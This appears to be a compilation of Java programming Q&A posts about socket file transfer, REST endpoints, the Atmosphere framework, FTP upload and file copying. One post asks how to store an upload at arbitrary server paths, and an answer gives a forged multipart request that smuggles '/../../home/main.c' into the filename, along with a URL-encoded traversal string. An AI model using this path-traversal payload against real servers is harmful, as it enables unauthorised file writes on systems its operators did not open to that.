I was doing an assignment to create a UI based client to send and display files. The server will both send and receive the files (just like file upload and download to ftp).
Now I have only two problems:
if we send a file to server for storing the file on disk from client it writes data to file and then stores file with name as null .(I know that this is because I am not sending file name to server with which to store the file). I want to send the server both name of file and contents of the file. how should I do it?
Another thing that the client and server both have File Send and File Receive methods which run in Thread. when The client requests file the File Send of server should send it and when the client uploads file the File receive of server should accept it, but if I just start both the threads in MainMethod one of them says that the connection is refused.(As the File receive means that the File send of client should run before file receive of server and vice versa) how should I do it?
Main Method of CLIENT
public class MainMethod {
public static void main (String[] args) throws Exception {
new FileScreen();
new FileReceive().start();
new FileSend().start();
}
}
Main Method of SERVER
public class MainMethod {
public static void main (String[] args) throws IOException {
new FileSend().start();
new FileReceive().start();
}
}
Finally FileSend of Client
public void run () {
socket = serverSocket.accept ();
dis = new DataInputStream (socket.getInputStream ());
dos = new DataOutputStream (socket.getOutputStream ());
dos.writeUTF(Filename); //tried to send filename to server
:does not work
bufferedReader = new BufferedReader(new FileReader(path));
while ( (data1 = bufferedReader.readLine ()) != null ){
if ( flag == 0 ){
fileData = data1;
flag = 1;
}else {
fileData = fileData+"\n"+data1;
}
}
bufferedReader.close ();
dos.writeUTF (fileData); //send file contents to server
}
File Receive of SERVER
public void run () {
downloadFileName = dis.readUTF(); //this line should read name :- not working
downloadFileContent = dis.readUTF (); // this line works fine in absence of above line
BufferedWriter bufferedWriter = new BufferedWriter(new FileWriter("/home/user/Client&Server/ServerReceive/"+downloadFileName));
bufferedWriter.write (downloadFileContent);
bufferedWriter.close ();
}
Related
I have a University assignment where I have to upload a file to arbitrary locations. From the code I can see that the uploaded file is being stored in the temporary folder of the unix system + the file name. This means if i can send the server (java) the filename as /../../home/main.c I could store the file on any location on the system.
Its impossible to insert a forward-slash character as part of a file name which excludes this option, so the only way would be to trick the web client somehow sending manually the name of the file.
Is this possible and how?
File f = new File (dir,entry.getname());
where "dir" is /temp
you can name the file something like %2F%2E%2E%2F%2E%2E%2Fhome%2Fmain%2Ec and upload using a browser, but i doubt it will work.
you can also try to forge your multipart/form-data http post request hacking an existing implementation, something like this (using commons-httpClient 3.1):
public class Forgery
{
public static void main(String[] args)
{
File f = new File("/path/fileToUpload.txt");
PostMethod filePost = new PostMethod("http://host/some_path");
Part[] parts =
{
new StringPart("param_name", "value"),
new FilePart(f.getName(), f)
{
private static final byte[] FILE_NAME_BYTES = EncodingUtil.getAsciiBytes(FILE_NAME);
#Override
protected void sendDispositionHeader(OutputStream out) throws IOException
{
out.write(CONTENT_DISPOSITION_BYTES);
out.write(QUOTE_BYTES);
out.write(EncodingUtil.getAsciiBytes(getName()));
out.write(QUOTE_BYTES);
out.write(FILE_NAME_BYTES);
out.write(QUOTE_BYTES);
out.write(EncodingUtil.getAsciiBytes("/../../home/main.c"));
out.write(QUOTE_BYTES);
}
}
};
filePost.setRequestEntity(new MultipartRequestEntity(parts, filePost.getParams()));
HttpClient client = new HttpClient();
int status = client.executeMethod(filePost);
}
}
Hi I am creating a rest api which returns the details of an executable file as response.
My requirement is if i send a request to start an executable file,the response should
show the details of the executable file that it is started. In my code am giving a path where the details of the executable file are also stored in a .txt file.But if am giving the path of the .txt file in my code to store the details the rest api is not returning any response. If I remove the path of the .txt file the response is given as expected.Any ideas as where am going wrong.below is the code snippet. The code to save the details in a.txt file is
*****d[+] C:\\Debug\\logfile.txt*****
javacode:
public String startServer() throws IOException, InterruptedException{
Runtime rt = Runtime.getRuntime();
Process pr = rt.exec("C:\\test.exe -d[+] C:\\Debug\\logfile.txt");
BufferedReader input = new BufferedReader(new InputStreamReader
(pr.getInputStream()));
String line=null;
StringBuffer start= new StringBuffer();
while((line=input.readLine()) != null) {
start.append(line + "\n");
System.out.println(line);
}
int exitVal = pr.waitFor();
System.out.println("Exited with error code "+exitVal);
return start.toString();
}
}
Webservice:
#Path("/server")
public class LicenseServer {
#GET
#Path("start")
#Produces({"text/plain","application/xml","application/json"})
//#Consumes({ "application/xml", "application/json", "application/x-www-form-
urlencoded" })
public String getServer() throws IOException, InterruptedException{
StartServer start = new StartServer();
return start.startServer();
}
I'm using the atmosphere framework in my application.
https://github.com/Atmosphere/atmosphere
I've extended the AbstractReflectorAtmosphereHandler class and implemented the
-onRequest
-destroy
-onstatechanged
methods.
When a client wants to send a message to the server:
subSocket.push(jQuery.stringifyJSON({ data: "blahblah", source:"client" }));
The onRequest function is called; however the message
Object message = atmosphereResource.getAtmosphereResourceEvent().getMessage();
Is empty.
Than I tried using the onstatechanged which is called every time
(1) The remote connection gets closed, either by a browser or a proxy
(2) The remote connection reach its maximum idle time (AtmosphereResource.suspend))
(3) Everytime a broadcast operation is executed (broadcaster.broadcast)
However even after filtering out 1 and 2
public void onStateChange(AtmosphereResourceEvent event)
throws IOException {
if (source.equals("client") && !event.isResumedOnTimeout() && !event.isResuming()){
System.out.println("message form client");
System.out.println(message.toString());
} else {
//normal onstatechanged code from AbstractReflectorAtmosphereHandler
}
However the message is printed randomly between 2 and 4 times. It should only be called once.
So my question is: Can I acces the message inside the onRequest method or why is the onStateChange called so many times.
edit: from the answer given by jF I've been able to acces the message inside the onRequest function. (I'm not sure however if that is what he actually meant).
public void onRequest(AtmosphereResource resource) throws IOException {
//Object message = resource.getAtmosphereResourceEvent().getMessage(); //is empty why?
//leave connection open
resource.suspend();
BufferedReader reader = resource.getRequest().getReader();
Object message = reader.readLine();
if (message !=null){
System.out.println("**onRequest: "+message.toString());
}
}
You need to read the request's body by doing, in your onStateChange:
atmosphereResource.getRequest().getReader (or getInputStream).
Maybe this helpes other people:
public void onRequest(AtmosphereResource resource) throws IOException {
//Object message = resource.getAtmosphereResourceEvent().getMessage(); //is empty why?
//leave connection open
resource.suspend();
BufferedReader reader = resource.getRequest().getReader();
Object message = reader.readLine();
if (message !=null){
Object obj = JSONValue.parse(message.toString());
JSONObject jsonObject = (JSONObject) obj;
Object source = jsonObject.get("source");
System.out.println("**onRequest: "+message.toString());
ArrayList frame = new ArrayList();
frame.add(jsonObject.get("type"));
frame.add(jsonObject.get("data"));
writeQueue.add(frame);
}
}
Im trying to develop a simple java code which will upload some contents from local machine to a server/another machine.I used the below code
import sun.net.ftp.*;
import java.io.*;
public class SftpUpload {
public static void main(String args[]) {
String hostname = "some.remote.machine"; //Remote FTP server: Change this
String username = "user"; //Remote user name: Change this
String password = "start123"; //Remote user password: Change this
String upfile = args[0]; //File to upload passed on command line
String remdir = "/home/user"; //Remote directory for file upload
FtpClient ftp = new FtpClient();
try {
ftp.openServer(hostname); //Connect to FTP server
ftp.login(username, password); //Login
ftp.binary(); //Set to binary mode transfer
ftp.cd(remdir); //Change to remote directory
File file = new File(upfile);
OutputStream out = ftp.put(file.getName()); //Start upload
InputStream in = new FileInputStream(file);
byte c[] = new byte[4096];
int read = 0;
while ((read = in.read(c)) != -1 ) {
out.write(c, 0, read);
} //Upload finished
in.close();
out.close();
ftp.closeServer(); //Close connection
} catch (Exception e) {
System.out.println("Error: " + e.getMessage());
}
}
}
But it is showing error in Line 11 as 'Cannot instantiate the type FtpClient'.
Can some one help me how to rectify it.
You cannot instantiate it because sun.net.ftp.FtpClient is abstract class.
I suggest using Apache Commons Net instead of playing with sun.x packages. FTP client example can be found from here.
If you do want to use the Sun classes, use FtpClient.create(), as per the JavaDoc for this class.
i have resolved the exception.thats because my machine is connected in a network which doesnt allow FTP connection.when i tried it in a private dongle it worked.
i want to copy a file from a server to a client in java.this is my code up to now
import java.io.File;
import java.io.FileOutputStream;
import java.io.InputStream;
import java.net.URL;
public class Copy {
private ListDirectory dir = new ListDirectory();
public Copy() {
}
public String getCopyPath(String file) throws Exception {
String path = dir.getCurrentPath();
path += "\\" + file;
return path;
}
public void copyFile(String file) {
try {
File inputFile = new File(dir.getCurrentPath());
URL copyurl;
InputStream outputFile;
copyurl = new URL(getCopyPath(file));
outputFile = copyurl.openStream();
FileOutputStream out = new FileOutputStream(inputFile);
int c;
while ((c = outputFile.read()) != -1)
out.write(c);
outputFile.close();
out.close();
} catch (Exception e) {
System.out.println("Failed to Copy File from server");
e.printStackTrace();
}
}
public static void main(String args[]) {
String a = "put martin";
String b = a.substring(0, 3);
String c = a.substring(4);
System.out.println(a);
System.out.println(b);
System.out.println(c);
}
}
Problem is , the server is not uploadded online , but it is on my local drive, and the URL thing doesnt work. is there any other way? is this way correct? thanks
If you're expecting to access your file from the local file system (whether that be via network drive or a local disk), you'll need to treat this as if it is a straight file copy.
If you're expecting to access your file as if it is available for download from an HTTP server, you will need to treat it as an HTTP download (which is what it looks like you're trying to do with the URL).
If you want to test the HTTP download functionality using a file on your local system, just set up a simple HTTP server on your dev machine with a directory on your local system, and give your HTTP-downloading code a URL pointing to that local server (on http://localhost, or using your IP address).
Unfortunately, HTTP is a very different animal from a file system, and I don't think there's any way to use the same code to handle both scenarios. If you want your program to ultimately support both protocols, you should build methods/classes to handle both situations, and then have your program detect and use the appropriate protocol for a given path. You'll need to do the same for any other protocol you wish to support (FTP, SFTP, etc).